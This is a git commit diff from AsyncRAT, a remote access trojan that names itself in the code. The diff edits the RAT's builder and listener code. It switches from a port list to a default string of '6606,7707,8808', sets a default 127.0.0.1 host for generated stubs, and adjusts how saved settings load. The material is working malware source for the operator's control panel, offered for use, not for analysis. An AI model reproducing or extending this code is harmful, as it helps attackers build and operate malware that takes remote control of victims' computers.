This commit is contained in:
NYAN CAT 2019-03-28 08:36:24 -07:00
parent 80fab95e98
commit acfc072773
4 changed files with 10 additions and 8 deletions

View File

@ -99,10 +99,12 @@ namespace AsyncRAT_Sharp.Forms
private void Builder_Load(object sender, EventArgs e) private void Builder_Load(object sender, EventArgs e)
{ {
comboBoxFolder.SelectedIndex = 0; comboBoxFolder.SelectedIndex = 0;
textPort.Text = string.Join(",", Settings.Ports.ToList()); textPort.Text = Settings.Port;
if (Properties.Settings.Default.DNS != null) if (Properties.Settings.Default.DNS.Length > 0)
textIP.Text = Properties.Settings.Default.DNS; textIP.Text = Properties.Settings.Default.DNS;
if (Properties.Settings.Default.Filename != null) else
textIP.Text = "127.0.0.1,127.0.0.1";
if (Properties.Settings.Default.Filename.Length > 0)
textFilename.Text = Properties.Settings.Default.Filename; textFilename.Text = Properties.Settings.Default.Filename;
} }
} }

View File

@ -80,7 +80,6 @@ namespace AsyncRAT_Sharp
{ {
if (!string.IsNullOrWhiteSpace(PORT)) if (!string.IsNullOrWhiteSpace(PORT))
{ {
Settings.Ports.Add(Convert.ToInt32(PORT.ToString().Trim()));
listener = new Listener(); listener = new Listener();
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
thread.Start(Convert.ToInt32(PORT.ToString().Trim())); thread.Start(Convert.ToInt32(PORT.ToString().Trim()));

View File

@ -17,10 +17,12 @@ namespace AsyncRAT_Sharp.Forms
{ {
Methods.FadeIn(this, 5); Methods.FadeIn(this, 5);
if (Properties.Settings.Default.Ports != null) textPorts.Text = Settings.Port;
if (Properties.Settings.Default.Ports.Length > 0)
textPorts.Text = Properties.Settings.Default.Ports; textPorts.Text = Properties.Settings.Default.Ports;
if (Properties.Settings.Default.Password != null) if (Properties.Settings.Default.Password.Length > 0)
textPassword.Text = Properties.Settings.Default.Password; textPassword.Text = Properties.Settings.Default.Password;
this.Text = $"{Settings.Version} | Welcome {Environment.UserName}"; this.Text = $"{Settings.Version} | Welcome {Environment.UserName}";

View File

@ -8,8 +8,7 @@ namespace AsyncRAT_Sharp
{ {
public static List<Clients> Online = new List<Clients>(); public static List<Clients> Online = new List<Clients>();
public static List<string> Blocked = new List<string>(); public static List<string> Blocked = new List<string>();
public static string Port = "6606"; public static string Port = "6606,7707,8808";
public static List<int> Ports = new List<int>();
public static readonly string Version = "AsyncRAT 0.2.8"; public static readonly string Version = "AsyncRAT 0.2.8";
public static long Sent = 0; public static long Sent = 0;
public static long Received = 0; public static long Received = 0;